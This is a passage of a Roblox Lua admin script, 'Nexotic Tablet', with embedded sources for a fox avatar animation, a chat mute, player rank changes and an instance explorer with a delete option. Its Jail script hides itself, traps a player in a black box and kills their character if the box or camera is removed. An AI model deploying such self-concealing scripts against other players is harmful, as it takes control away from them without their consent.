  7524. return a[1]*startInterp + b[1]*finishInterp, a[2]*startInterp + b[2]*finishInterp, a[3]*startInterp + b[3]*finishInterp, a[4]*startInterp + b[4]*finishInterp
  7525. end
  7526. function clerp(a,b,t)
  7527. local qa = {QuaternionFromCFrame(a)}
  7528. local qb = {QuaternionFromCFrame(b)}
  7529. local ax, ay, az = a.x, a.y, a.z
  7530. local bx, by, bz = b.x, b.y, b.z
  7531. local _t = 1-t
  7532. return QuaternionToCFrame(_t*ax + t*bx, _t*ay + t*by, _t*az + t*bz,QuaternionSlerp(qa, qb, t))
  7533. end
  7534.  
  7535. end
  7536. do --the animating
  7537. plr = game:service'Players'.LocalPlayer
  7538. char = plr.Character
  7539. mouse = plr:GetMouse()
  7540. humanoid = char:findFirstChild("Humanoid")
  7541. torso = char:findFirstChild("Torso")
  7542. head = char.Head
  7543. ra = char:findFirstChild("Right Arm")
  7544. la = char:findFirstChild("Left Arm")
  7545. rl = char:findFirstChild("Right Leg")
  7546. ll = char:findFirstChild("Left Leg")
  7547. rs = torso:findFirstChild("Right Shoulder")
  7548. ls = torso:findFirstChild("Left Shoulder")
  7549. rh = torso:findFirstChild("Right Hip")
  7550. lh = torso:findFirstChild("Left Hip")
  7551. neck = torso:findFirstChild("Neck")
  7552. rj = char:findFirstChild("HumanoidRootPart"):findFirstChild("RootJoint")
  7553. anim = char:findFirstChild("Animate")
  7554. rootpart = char:findFirstChild("HumanoidRootPart")
  7555. camera = workspace.CurrentCamera
  7556. if anim then
  7557. anim:Destroy()
  7558. end
  7559.  
  7560.  
  7561. local rm = Instance.new("Motor", torso)
  7562. rm.C0 = CFrame.new(1.5, 0.5, 0)
  7563. rm.C1 = CFrame.new(0, 0.5, 0)
  7564. rm.Part0 = torso
  7565. rm.Part1 = ra
  7566. local lm = Instance.new("Motor", torso)
  7567. lm.C0 = CFrame.new(-1.5, 0.5, 0)
  7568. lm.C1 = CFrame.new(0, 0.5, 0)
  7569. lm.Part0 = torso
  7570. lm.Part1 = la
  7571.  
  7572. local rlegm = Instance.new("Motor", torso)
  7573. rlegm.C0 = CFrame.new(0.5, -1, 0)
  7574. rlegm.C1 = CFrame.new(0, 1, 0)
  7575. rlegm.Part0 = torso
  7576. rlegm.Part1 = rl
  7577. local llegm = Instance.new("Motor", torso)
  7578. llegm.C0 = CFrame.new(-0.5, -1, 0)
  7579. llegm.C1 = CFrame.new(0, 1, 0)
  7580. llegm.Part0 = torso
  7581. llegm.Part1 = ll
  7582.  
  7583. neck.C0 = CFrame.new(0, 1, 0)
  7584. neck.C1 = CFrame.new(0, -0.5, 0)
  7585.  
  7586.  
  7587. rj.C0 = CFrame.new()
  7588. rj.C1 = CFrame.new()
  7589.  
  7590.  
  7591. local sound = Instance.new("Sound", head)
  7592. sound.SoundId = "http://www.roblox.com/asset/?id=152745539"
  7593. sound.Volume = 0.8
  7594. sound.Looped = true
  7595.  
  7596. for i,v in pairs(char:children()) do
  7597. if v:IsA("Hat") then
  7598. v:Destroy()
  7599. end
  7600. end
  7601.  
  7602.  
  7603. --look of the fox here
  7604. game:service'InsertService':LoadAsset(153955396):children()[1].Parent = char
  7605. Instance.new("PointLight", head).Range = 10
  7606.  
  7607.  
  7608.  
  7609.  
  7610. local speed = 0.3
  7611. local angle = 0
  7612. local sitting = false
  7613. local humanwalk = false
  7614. local anglespeed = 1
  7615. rsc0 = rm.C0
  7616. lsc0 = lm.C0
  7617. llc0 = llegm.C0
  7618. rlc0 = rlegm.C0
  7619. neckc0 = neck.C0
  7620.  
  7621. local controllerService = game:GetService("ControllerService")
  7622. local controller = controllerService:GetChildren()[1]
  7623.  
  7624. controller.Parent = nil
  7625.  
  7626. Instance.new("HumanoidController", game:service'ControllerService')
  7627. Instance.new("SkateboardController", game:service'ControllerService')
  7628. Instance.new("VehicleController", game:service'ControllerService')
  7629. local controller = controllerService:GetChildren()[1]
  7630. mouse.KeyDown:connect(function(k)
  7631. if k == "q" then
  7632. humanwalk = not humanwalk
  7633. end
  7634. if k == "z" then
  7635. if not sound.IsPlaying then
  7636. sound:stop()
  7637. sound.SoundId = "http://www.roblox.com/asset/?id=130802245"
  7638. wait()
  7639. sound:play()
  7640. end
  7641. end
  7642. if k == "x" then
  7643. if not sound.IsPlaying then
  7644. sound:stop()
  7645. sound.SoundId = "http://www.roblox.com/asset/?id=152745539"
  7646. wait()
  7647. sound:play()
  7648. end
  7649. end
  7650. if k == "c" then
  7651. if not sound.IsPlaying then
  7652. sound:stop()
  7653. sound.SoundId = "http://www.roblox.com/asset/?id=142991813"
  7654. wait()
  7655. sound:play()
  7656. end
  7657. end
  7658. if string.byte(k) == 48 then
  7659. humanoid.WalkSpeed = 34
  7660. end
  7661.  
  7662. end)
  7663. mouse.KeyUp:connect(function(k)
  7664.  
  7665. if string.byte(k) == 48 then
  7666. humanoid.WalkSpeed = 16
  7667. end
  7668.  
  7669. end)
  7670.  
  7671.  
  7672.  
  7673. while wait() do
  7674. angle = (angle % 100) + anglespeed/10
  7675. mvmnt = math.pi * math.sin(math.pi*2/100*(angle*10))
  7676. local rscf = rsc0
  7677. local lscf = lsc0
  7678. local rlcf = rlc0
  7679. local llcf = llc0
  7680. local rjcf = CFrame.new()
  7681. local ncf = neckc0
  7682. local rayz = Ray.new(rootpart.Position, Vector3.new(0, -6, 0))
  7683. local hitz, enz = workspace:findPartOnRay(rayz, char)
  7684. if not hitz then
  7685. if sound.IsPlaying then
  7686. sound:stop()
  7687. end
  7688.  
  7689. if Vector3.new(torso.Velocity.x, 0, torso.Velocity.z).magnitude > 2 then
  7690.  
  7691. ncf = neckc0 * CFrame.Angles(math.pi/5, 0, 0)
  7692. rjcf = CFrame.new() * CFrame.Angles(-math.pi/5, math.sin(angle)*0.05, 0)
  7693. rscf = rsc0 * CFrame.Angles(math.pi/1.7+math.sin(angle)*0.1, 0, 0)
  7694. lscf = lsc0 * CFrame.Angles(math.pi/1.7+math.sin(-angle)*0.1, 0, 0)
  7695. rlcf = rlc0 * CFrame.Angles(-math.pi/10+math.sin(-angle)*0.3, 0, 0)
  7696. llcf = llc0 * CFrame.Angles(-math.pi/10+math.sin(angle)*0.3, 0, 0)
  7697.  
  7698. else
  7699.  
  7700. ncf = neckc0 * CFrame.Angles(math.pi/14, 0, 0)
  7701. rjcf = CFrame.new() * CFrame.Angles(-math.pi/18, math.sin(angle)*0.05, 0)
  7702. rscf = rsc0 * CFrame.Angles(-math.pi/10+math.sin(angle)*0.2, 0, 0)
  7703. lscf = lsc0 * CFrame.Angles(-math.pi/10+math.sin(-angle)*0.2, 0, 0)
  7704. rlcf = rlc0 * CFrame.new(0, 0.7, -0.5) CFrame.Angles(-math.pi/14, 0, 0)
  7705. llcf = llc0 * CFrame.Angles(-math.pi/20, 0, 0)
  7706.  
  7707. end
  7708. elseif humanoid.Sit then
  7709. if sound.IsPlaying and sound.SoundId == "http://www.roblox.com/asset/?id=152745539" then
  7710. anglespeed = 6
  7711. ncf = neckc0 * CFrame.Angles(math.pi/5-math.sin(angle)*0.1, 0, 0)
  7712. rjcf = CFrame.new(0, -0.8, 0) * CFrame.Angles(-math.pi/5, 0, 0)
  7713. rscf = rsc0 * CFrame.new(-.45, 0.2, -.3) * CFrame.Angles(math.pi/3, 0, -math.rad(15))
  7714. lscf = lsc0 * CFrame.new(.45, 0.2, -.3) * CFrame.Angles(math.pi/3, 0, math.rad(15))
  7715. rlcf = rlc0 * CFrame.Angles(math.pi/2+math.pi/5, 0, math.rad(20))
  7716. llcf = llc0 * CFrame.Angles(math.pi/2+math.pi/5, 0, -math.rad(20))
  7717. elseif sound.IsPlaying and sound.SoundId == "http://www.roblox.com/asset/?id=145088518" then
  7718. anglespeed = 4
  7719. ncf = neckc0 * CFrame.Angles(math.pi/5-math.abs(math.sin(angle))*0.3, 0, 0)
  7720. rjcf = CFrame.new(0, -0.8, 0) * CFrame.Angles(-math.pi/5, 0, 0)
  7721. rscf = rsc0 * CFrame.new(-.45, 0.2, -.3) * CFrame.Angles(math.pi/3, 0, -math.rad(15))
  7722. lscf = lsc0 * CFrame.new(.45, 0.2, -.3) * CFrame.Angles(math.pi/3, 0, math.rad(15))
  7723. rlcf = rlc0 * CFrame.Angles(math.pi/2+math.pi/5, 0, math.rad(20))
  7724. llcf = llc0 * CFrame.Angles(math.pi/2+math.pi/5, 0, -math.rad(20))
  7725. elseif sound.IsPlaying and sound.SoundId == "http://www.roblox.com/asset/?id=145088518" then
  7726. anglespeed = 2
  7727. ncf = neckc0 * CFrame.Angles(math.pi/5, 0, math.sin(angle)*0.08)
  7728. rjcf = CFrame.new(0, -0.8, 0) * CFrame.Angles(-math.pi/5, math.sin(angle)*0.01, 0)
  7729. rscf = rsc0 * CFrame.new(-.45, 0.2, -.3) * CFrame.Angles(math.pi/3, 0, -math.rad(15))
  7730. lscf = lsc0 * CFrame.new(.45, 0.2, -.3) * CFrame.Angles(math.pi/3, 0, math.rad(15))
  7731. rlcf = rlc0 * CFrame.Angles(math.pi/2+math.pi/5, 0, math.rad(20))
  7732. llcf = llc0 * CFrame.Angles(math.pi/2+math.pi/5, 0, -math.rad(20))
  7733. else
  7734. anglespeed = 1/2
  7735. ncf = neckc0 * CFrame.Angles(math.pi/5, 0, math.sin(angle)*0.08)
  7736. rjcf = CFrame.new(0, -0.8, 0) * CFrame.Angles(-math.pi/5, math.sin(angle)*0.01, 0)
  7737. rscf = rsc0 * CFrame.new(-.45, 0.2, -.3) * CFrame.Angles(math.pi/3, 0, -math.rad(15))
  7738. lscf = lsc0 * CFrame.new(.45, 0.2, -.3) * CFrame.Angles(math.pi/3, 0, math.rad(15))
  7739. rlcf = rlc0 * CFrame.Angles(math.pi/2+math.pi/5, 0, math.rad(20))
  7740. llcf = llc0 * CFrame.Angles(math.pi/2+math.pi/5, 0, -math.rad(20))
  7741. end
  7742. elseif Vector3.new(torso.Velocity.x, 0, torso.Velocity.z).magnitude < 2 then
  7743. if sound.IsPlaying and sound.SoundId == "http://www.roblox.com/asset/?id=130797915" then
  7744. anglespeed = 6
  7745. ncf = neckc0 * CFrame.Angles(math.pi/10-math.sin(angle)*0.07, 0, 0)
  7746. rjcf = CFrame.new(0, 0, 0) * CFrame.Angles(-math.pi/10, math.sin(angle)*0.001, 0)
  7747. rscf = rsc0 * CFrame.Angles(math.pi/1+math.sin(angle)*0.5, 0, 0)
  7748. lscf = lsc0 * CFrame.Angles(math.pi/1+math.sin(angle)*0.5, 0, 0)
  7749. rlcf = rlc0 * CFrame.Angles(math.pi/10, math.sin(angle)*0.08, math.rad(6.5))
  7750. llcf = llc0 * CFrame.Angles(math.pi/10, -math.sin(angle)*0.08, -math.rad(6.5))
  7751. elseif sound.IsPlaying and sound.SoundId == "http://www.roblox.com/asset/?id=145088518" then
  7752. anglespeed = 2
  7753. ncf = neckc0 * CFrame.Angles(math.pi/10-math.abs(math.sin(angle))*0.3, 0, 0)
  7754. rjcf = CFrame.new(0, 0, 0) * CFrame.Angles(-math.pi/20, math.sin(angle)*0.001, 0)
  7755. rscf = rsc0 * CFrame.Angles(math.pi/2+math.abs(math.sin(angle)*1), 0, 0)
  7756. lscf = lsc0 * CFrame.Angles(math.pi/2+math.abs(math.sin(angle)*1), 0, 0)
  7757. rlcf = rlc0 * CFrame.Angles(math.pi/20, math.sin(angle)*0.08, math.rad(2.5))
  7758. llcf = llc0 * CFrame.Angles(math.pi/20, -math.sin(angle)*0.08, -math.rad(2.5))
  7759. elseif sound.IsPlaying and sound.SoundId == "http://www.roblox.com/asset/?id=145088518" then
  7760. anglespeed = 3
  7761. ncf = neckc0 * CFrame.Angles(math.sin(angle)*0.07, math.rad(30), 0)
  7762. rjcf = CFrame.new(0, 0, 0) * CFrame.Angles(0, math.sin(angle)*0.001, 0)
  7763. rscf = rsc0 * CFrame.Angles(math.sin(angle)*0.05, 0, 0)
  7764. lscf = lsc0 * CFrame.Angles(math.sin(-angle)*0.05, 0, 0)
  7765. rlcf = rlc0 * CFrame.new(0, -0.1 + math.abs(mvmnt)*0.1, -0.1) * CFrame.Angles(0, math.rad(5), math.rad(5))
  7766. llcf = llc0 * CFrame.Angles(0, math.rad(2.5), math.rad(1))
  7767. else
  7768. if humanwalk then
  7769. anglespeed = 1/4
  7770. ncf = neckc0 * CFrame.Angles(-math.sin(angle)*0.07, 0, 0)
  7771. rjcf = CFrame.new(0, 0, 0) * CFrame.Angles(0, math.sin(angle)*0.001, 0)
  7772. rscf = rsc0 * CFrame.Angles(math.sin(angle)*0.1, 0, 0)
  7773. lscf = lsc0 * CFrame.Angles(math.sin(-angle)*0.1, 0, 0)
  7774. rlcf = rlc0 * CFrame.Angles(0, math.sin(angle)*0.08, math.rad(2.5))
  7775. llcf = llc0 * CFrame.Angles(0, -math.sin(angle)*0.08, -math.rad(2.5))
  7776. else
  7777. anglespeed = 1/2
  7778. ncf = neckc0 * CFrame.Angles(math.pi/5, 0, math.sin(angle)*0.08)
  7779. rjcf = CFrame.new(0, -2, 0) * CFrame.Angles(-math.pi/5, math.sin(angle)*0.01, 0)
  7780. rscf = rsc0 * CFrame.new(-.45, 0.2, -.3) * CFrame.Angles(math.pi/3, 0, -math.rad(15))
  7781. lscf = lsc0 * CFrame.new(.45, 0.2, -.3) * CFrame.Angles(math.pi/3, 0, math.rad(15))
  7782. rlcf = rlc0 * CFrame.Angles(math.pi/2+math.pi/5, 0, math.rad(20))
  7783. llcf = llc0 * CFrame.Angles(math.pi/2+math.pi/5, 0, -math.rad(20))
  7784. end
  7785. end
  7786. elseif Vector3.new(torso.Velocity.x, 0, torso.Velocity.z).magnitude < 20 then
  7787. if sound.IsPlaying then
  7788. sound:stop()
  7789. end
  7790. if humanwalk then
  7791. anglespeed = 4
  7792. ncf = neckc0 * CFrame.Angles(math.pi/24, mvmnt*.02, 0)
  7793. rjcf = CFrame.new(0, math.abs(mvmnt)*0.05, 0) * CFrame.Angles(-math.pi/24, -mvmnt*.02, 0)
  7794. rscf = rsc0 * CFrame.Angles(math.sin(angle)*1.25, 0, -math.abs(mvmnt)*0.02)
  7795. lscf = lsc0 * CFrame.Angles(math.sin(-angle)*1.25, 0, math.abs(mvmnt)*0.02)
  7796. rlcf = rlc0 * CFrame.Angles(math.sin(-angle)*1, 0, math.rad(.5))
  7797. llcf = llc0 * CFrame.Angles(math.sin(angle)*1, 0, -math.rad(.5))
  7798. else
  7799. anglespeed = 4
  7800. ncf = neckc0 * CFrame.new(0, 0, .2) * CFrame.Angles(math.pi/1.9, 0, 0)
  7801. rjcf = CFrame.new(0, -1.5+math.abs(mvmnt)*0.05, 0) * CFrame.Angles(-math.pi/1.9, math.sin(mvmnt/2)*0.05, 0)
  7802. rscf = rsc0 * CFrame.new(-.45, 0.2, -.4+math.abs(mvmnt)*0.125) * CFrame.Angles(math.pi/2+math.sin(angle)*0.7, 0, math.rad(5))
  7803. lscf = lsc0 * CFrame.new(.45, 0.2, .1-math.abs(mvmnt)*0.125) * CFrame.Angles(math.pi/2+math.sin(-angle)*0.7, 0, -math.rad(5))
  7804. rlcf = rlc0 * CFrame.new(0, 0, -.3+math.abs(mvmnt)*0.125) * CFrame.Angles(math.pi/2.5+math.sin(-angle)*0.6, 0, math.abs(mvmnt)*0.025)
  7805. llcf = llc0 * CFrame.new(0, 0, .3-math.abs(mvmnt)*0.125) * CFrame.Angles(math.pi/2.5+math.sin(angle)*.6, 0, -math.abs(mvmnt)*0.025)
  7806. end
  7807. elseif Vector3.new(torso.Velocity.x, 0, torso.Velocity.z).magnitude >= 20 then
  7808. if sound.IsPlaying then
  7809. sound:stop()
  7810. end
  7811. if humanwalk then
  7812. anglespeed = 5
  7813. ncf = neckc0 * CFrame.Angles(math.pi/20, math.sin(angle)*.04, 0)
  7814. rjcf = CFrame.new(0, -.4 + math.abs(mvmnt)*0.25, 0) * CFrame.Angles(-math.pi/20, -math.sin(angle)*.08, 0)
  7815. rscf = rsc0 * CFrame.new(0, 0, -.3+math.abs(mvmnt)*0.125) * CFrame.Angles(math.pi/18+math.sin(angle)*1.5, 0, -math.abs(mvmnt)*0.02)
  7816. lscf = lsc0 * CFrame.new(0, 0, .3-math.abs(mvmnt)*0.125) * CFrame.Angles(math.pi/18+math.sin(-angle)*1.5, 0, math.abs(mvmnt)*0.02)
  7817. rlcf = rlc0 * CFrame.new(0, 0, -.6+math.abs(mvmnt)*0.125) * CFrame.Angles(-math.pi/18+math.sin(-angle)*1.3, 0, math.rad(.5))
  7818. llcf = llc0 * CFrame.new(0, 0, -math.abs(mvmnt)*0.125) * CFrame.Angles(-math.pi/18+math.sin(angle)*1.3, 0, -math.rad(.5))
  7819. else
  7820. anglespeed = 5.5
  7821. ncf = neckc0 * CFrame.new(0, 0, .2) * CFrame.Angles(math.pi/1.9+math.sin(mvmnt/2)*0.05, 0, 0)
  7822. rjcf = CFrame.new(0, -1.3+math.abs(mvmnt)*0.05, 0) * CFrame.Angles(-math.pi/1.9+math.abs(mvmnt/2)*0.1, 0, 0)
  7823. rscf = rsc0 * CFrame.new(-1, 0.2, -.5) * CFrame.Angles(math.pi/2+math.sin(angle)*1.8, 0, math.rad(5))
  7824. lscf = lsc0 * CFrame.new(1, 0.2, -.5) * CFrame.Angles(math.pi/2+math.sin(angle)*1.8, 0, -math.rad(5))
  7825. rlcf = rlc0 * CFrame.new(0, .3-math.abs(mvmnt)*0.125, -.3+math.abs(mvmnt)*0.125) * CFrame.Angles(math.pi/2.5+math.sin(-angle)*1.4, 0, math.abs(mvmnt)*0.025)
  7826. llcf = llc0 * CFrame.new(0, .3-math.abs(mvmnt)*0.125, .3-math.abs(mvmnt)*0.125) * CFrame.Angles(math.pi/2.5+math.sin(-angle)*1.4, 0, -math.abs(mvmnt)*0.025)
  7827. end
  7828. end
  7829.  
  7830. rm.C0 = clerp(rm.C0,rscf,speed)
  7831. lm.C0 = clerp(lm.C0,lscf,speed)
  7832. rj.C0 = clerp(rj.C0,rjcf,speed)
  7833. neck.C0 = clerp(neck.C0,ncf,speed)
  7834. rlegm.C0 = clerp(rlegm.C0,rlcf,speed)
  7835. llegm.C0 = clerp(llegm.C0,llcf,speed)
  7836. end
  7837.  
  7838.  
  7839. end
  7840. ]==]
  7841.  
  7842. MuteSource = [==[
  7843. game:GetService("StarterGui"):SetCoreGuiEnabled(4, false)
  7844. ]==]
  7845.  
  7846. UnMuteSource = [==[
  7847. game:GetService("StarterGui"):SetCoreGuiEnabled(4, true)
  7848. ]==]
  7849.  
  7850. JailSource = [==[
  7851. wait(0)
  7852. script.Parent = nil
  7853.  
  7854. local LP = game:GetService("Players").LocalPlayer
  7855. Middle2 = nil
  7856. Middle = nil
  7857. game:GetService("Workspace").CurrentCamera:ClearAllChildren()
  7858.  
  7859. Cons = {}
  7860.  
  7861. function makePrison()
  7862. for _,v in pairs(Cons) do
  7863. v:disconnect()
  7864. end
  7865. game:GetService("Workspace").CurrentCamera:ClearAllChildren()
  7866. if Middle == nil then
  7867. Middle2 = LP.Character.Torso.Position
  7868. Middle = LP.Character.Torso.CFrame
  7869. end
  7870. local side1 = Instance.new("Part")
  7871. side1.Name = "¬Focus1¬"
  7872. side1.Size = Vector3.new(20, 50, 1)
  7873. side1.CFrame = Middle * CFrame.new(0, 0, -10)
  7874. side1.BrickColor = BrickColor.new("Really black")
  7875. side1.CanCollide = true
  7876. side1.Anchored = true
  7877. side1.TopSurface = "Smooth"
  7878. side1.BottomSurface = "Smooth"
  7879. side1.Parent = game:GetService("Workspace").CurrentCamera
  7880.  
  7881. local side2 = Instance.new("Part")
  7882. side2.Name = "¬Focus2¬"
  7883. side2.Size = Vector3.new(20, 50, 1)
  7884. side2.CFrame = Middle * CFrame.new(0, 0, 10)
  7885. side2.BrickColor = BrickColor.new("Really black")
  7886. side2.CanCollide = true
  7887. side2.Anchored = true
  7888. side2.TopSurface = "Smooth"
  7889. side2.BottomSurface = "Smooth"
  7890. side2.Parent = game:GetService("Workspace").CurrentCamera
  7891.  
  7892. local side3 = Instance.new("Part")
  7893. side3.Name = "¬Focus3¬"
  7894. side3.Size = Vector3.new(1, 50, 20)
  7895. side3.CFrame = Middle * CFrame.new(10, 0, 0)
  7896. side3.BrickColor = BrickColor.new("Really black")
  7897. side3.CanCollide = true
  7898. side3.Anchored = true
  7899. side3.TopSurface = "Smooth"
  7900. side3.BottomSurface = "Smooth"
  7901. side3.Parent = game:GetService("Workspace").CurrentCamera
  7902.  
  7903. local side4 = Instance.new("Part")
  7904. side4.Name = "¬Focus4¬"
  7905. side4.Size = Vector3.new(1, 50, 20)
  7906. side4.CFrame = Middle * CFrame.new(-10, 0, 0)
  7907. side4.BrickColor = BrickColor.new("Really black")
  7908. side4.CanCollide = true
  7909. side4.Anchored = true
  7910. side4.TopSurface = "Smooth"
  7911. side4.BottomSurface = "Smooth"
  7912. side4.Parent = game:GetService("Workspace").CurrentCamera
  7913.  
  7914. local side5 = Instance.new("Part")
  7915. side5.Name = "¬Focus5¬"
  7916. side5.Size = Vector3.new(20, 1, 20)
  7917. side5.CFrame = Middle * CFrame.new(0, -3.5, 0)
  7918. side5.BrickColor = BrickColor.new("Really black")
  7919. side5.CanCollide = true
  7920. side5.Anchored = true
  7921. side5.TopSurface = "Smooth"
  7922. side5.BottomSurface = "Smooth"
  7923. side5.Parent = game:GetService("Workspace").CurrentCamera
  7924.  
  7925. wait(0)
  7926.  
  7927. table.insert(Cons, side1.Changed:connect(makePrison))
  7928. table.insert(Cons, side2.Changed:connect(makePrison))
  7929. table.insert(Cons, side3.Changed:connect(makePrison))
  7930. table.insert(Cons, side4.Changed:connect(makePrison))
  7931. table.insert(Cons, side5.Changed:connect(makePrison))
  7932. end
  7933.  
  7934. Delay(0, function()
  7935. while wait(0) do
  7936. ypcall(function()
  7937. if game:GetService("Workspace").CurrentCamera == nil or not LP.Character:findFirstChild("Torso") then
  7938. LP.Character:BreakJoints()
  7939. elseif not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus1¬") or not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus2¬") or not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus3¬") or not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus4¬") or not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus5¬") then
  7940. makePrison()
  7941. end
  7942. end)
  7943. ypcall(function()
  7944. if (Middle2 - LP.Character.Torso.Position).magnitude >= 11.8 then
  7945. LP.Character.Torso.CFrame = game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus1¬").CFrame * CFrame.new(0, 0, 10)
  7946. end
  7947. end)
  7948. end
  7949. end)
  7950. ]==]
  7951.  
  7952. function All()
  7953. local AllPlayers = {}
  7954. for _,v in pairs(Plrs:GetPlayers()) do
  7955. ypcall(function()
  7956. table.insert(AllPlayers, v)
  7957. end)
  7958. end
  7959. return AllPlayers
  7960. end
  7961.  
  7962. function All2()
  7963. local AllPlayers2 = {}
  7964. for i,v in pairs(Net:GetChildren()) do
  7965. ypcall(function()
  7966. if v:IsA("ServerReplicator") then
  7967. table.insert(AllPlayers2, v:GetPlayer())
  7968. end
  7969. end)
  7970. end
  7971. return AllPlayers2
  7972. end
  7973.  
  7974. function MakeNum()
  7975. return 2 + 4
  7976. end
  7977.  
  7978. function ChangeRank(Plr, NewRank)
  7979. local PlrName = nil
  7980. local FoundPlayer = false
  7981. ypcall(function()
  7982. if type(Plr) == "string" then
  7983. ypcall(function()
  7984. for i,v in pairs(Rankings) do
  7985. if v.Name:lower() == Plr:lower() then
  7986. local VName = v.Name
  7987. Rankings[i] = nil
  7988. table.insert(Rankings, {Name = VName, Rank = NewRank})
  7989. PlrName = VName
  7990. FoundPlayer = true
  7991. break
  7992. end
  7993. end
  7994. end)
  7995. if FoundPlayer == false then
  7996. ypcall(function()
  7997. for _,x in pairs(All()) do
  7998. if x.Name:lower() == Plr:lower() then
  7999. FoundPlayer = true
  8000. for i,v in pairs(Rankings) do
  8001. if v.Name:lower() == x.Name:lower() then
  8002. local VName = x.Name
  8003. Rankings[i] = nil
  8004. PlrName = VName
  8005. break
  8006. end
  8007. end
  8008. table.insert(Rankings, {Name = VName, Rank = NewRank})
  8009. end
  8010. end
  8011. end)
  8012. end
  8013. if FoundPlayer == false then
  8014. ypcall(function()
  8015. for _,x in pairs(All()) do
  8016. if string.find(x.Name:lower(), Plr:lower()) then
  8017. FoundPlayer = true
  8018. for i,v in pairs(Rankings) do
  8019. if v.Name:lower() == x.Name:lower() then
  8020. local VName = x.Name
  8021. Rankings[i] = nil
  8022. PlrName = VName
  8023. break
  8024. end
  8025. end
  8026. table.insert(Rankings, {Name = VName, Rank = NewRank})
  8027. end
  8028. end
  8029. end)
  8030. end
  8031. if FoundPlayer == false then
  8032. ypcall(function()
  8033. for i,v in pairs(Rankings) do
  8034. if string.find(v.Name:lower(), Plr:lower()) then
  8035. local VName = v.Name
  8036. Rankings[i] = nil
  8037. table.insert(Rankings, {Name = VName, Rank = NewRank})
  8038. PlrName = VName
  8039. FoundPlayer = true
  8040. break
  8041. end
  8042. end
  8043. end)
  8044. end
  8045. else
  8046. for i,v in pairs(Rankings) do
  8047. if v.Name:lower() == Plr.Name:lower() then
  8048. Rankings[i] = nil
  8049. break
  8050. end
  8051. end
  8052. table.insert(Rankings, {Name = Plr.Name, Rank = NewRank})
  8053. PlrName = Plr.Name
  8054. end
  8055. PlaceAllRanks(true)
  8056. end)
  8057. if PlrName ~= nil then
  8058. return PlrName
  8059. else
  8060. return "Player"
  8061. end
  8062. end
  8063.  
  8064. function Refresh(Plr)
  8065. MakeChildren(Plr)
  8066. end
  8067.  
  8068. function MakeChildren(Plr)
  8069. ypcall(function()
  8070. Dismiss(Plr)
  8071. for _,v in pairs(Current:GetChildren()) do
  8072. ypcall(function()
  8073. if not Plrs:GetPlayerFromCharacter(v) and not CheckImportant(v.Name) then
  8074. Ping(v.Name, Plr, nil, function(TabMod)
  8075. local TabText = TabMod["Nexotic Tablet"].BG.TL.Text
  8076. for _,v in pairs(Current:GetChildren()) do
  8077. ypcall(function()
  8078. if v.Name == TabText then
  8079. Dismiss(Plr)
  8080. Current = v
  8081. MakeChildren(Plr)
  8082. end
  8083. end)
  8084. end
  8085. end)
  8086. elseif Plrs:GetPlayerFromCharacter(v) then
  8087. Ping(v.Name, Plr, nil, function(TabMod)
  8088. local TabText = TabMod["Nexotic Tablet"].BG.TL.Text
  8089. for _,v in pairs(Current:GetChildren()) do
  8090. ypcall(function()
  8091. if v.Name == TabText then
  8092. Dismiss(Plr)
  8093. Current = v
  8094. MakeChildren(Plr)
  8095. end
  8096. end)
  8097. end
  8098. end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
  8099. elseif CheckImportant(v.Name) then
  8100. Ping(v.Name, Plr, nil, function(TabMod)
  8101. local TabText = TabMod["Nexotic Tablet"].BG.TL.Text
  8102. for _,v in pairs(Current:GetChildren()) do
  8103. ypcall(function()
  8104. if v.Name == TabText then
  8105. Dismiss(Plr)
  8106. Current = v
  8107. MakeChildren(Plr)
  8108. end
  8109. end)
  8110. end
  8111. end, ImportantColor)
  8112. end
  8113. end)
  8114. end
  8115. if Current ~= game then
  8116. Ping("Back", Plr, nil, function()
  8117. ypcall(function()
  8118. Current = Current.Parent
  8119. MakeChildren(Plr)
  8120. Ping("You Are Back To "..Current.Name, Plr, 5)
  8121. end)
  8122. end, OptionColor)
  8123. end
  8124. if Current ~= game then
  8125. Ping("Delete", Plr, nil, function()
  8126. ypcall(function()
  8127. local CurrPar = Current.Parent or game
  8128. local CurrName = Current.Name
  8129. Current:Destroy()
  8130. Current = CurrPar
  8131. MakeChildren(Plr)
  8132. Ping("Attempted To Delete "..CurrName, Plr, 5)
  8133. end)
  8134. end, OptionColor)
  8135. end
  8136. Ping("Refresh", Plr, nil, function()
  8137. ypcall(function()
  8138. Refresh(Plr)
  8139. Ping("Refreshed", Plr, 5)
  8140. end)
  8141. end, OptionColor)
  8142. Ping("Properties", Plr, nil, function()
  8143. ypcall(function()
  8144. Dismiss(Plr)
  8145. for Property, Value in pairs(GetProperties(Current)) do
  8146. Ping(tostring(Property)..": "..tostring(Value), Plr)
  8147. end
  8148. Ping("Got All Available Properties", Plr, 5)
  8149. Ping("Back", Plr, nil, function() Refresh(Plr) end, OptionColor)
  8150. end)
  8151. end, OptionColor)
  8152. end)
  8153. end
  8154.  
  8155. function Fixl()
  8156. Light.GlobalShadows = true
  8157. Light.TimeOfDay = "14:00:00"
  8158. Light.Brightness = 0.5
  8159. Light.ShadowColor = Color3.new(0.705882, 0.705882, 0.72549)
  8160. Light.Ambient = Color3.new(1, 1, 1)
  8161. Light.ColorShift_Top = Color3.new(0, 0, 0)
  8162. Light.ColorShift_Bottom = Color3.new(0, 0, 0)
  8163. Light.OutdoorAmbient = Color3.new(0.5, 0.5, 0.5)
  8164. Light.FogStart = 0
  8165. Light.FogEnd = 100000
  8166. Light.FogColor = Color3.new(0.752941, 0.752941, 0.752941)
  8167. Light:ClearAllChildren()
  8168. end
  8169.  
  8170. function GetProperties(obj)
  8171. assert(pcall(function() assert(game.IsA(obj,"Instance")) end),"Should be ROBLOX instance")
  8172. local objProper = {}
  8173. for i,v in pairs(Properties) do
  8174. if pcall(function() return obj[v] end) and (type(obj[v]) ~= "userdata" or not obj:FindFirstChild(v)) then
  8175. objProper[v] = obj[v]
  8176. end
  8177. end
  8178. return objProper
  8179. end
  8180.  
  8181. function MakeExplorer(Plr)
  8182. Dismiss(Plr)
  8183. Current = game
  8184. for _,v in pairs(Current:GetChildren()) do
  8185. ypcall(function()
  8186. if not Plrs:GetPlayerFromCharacter(v) and not CheckImportant(v.Name) then
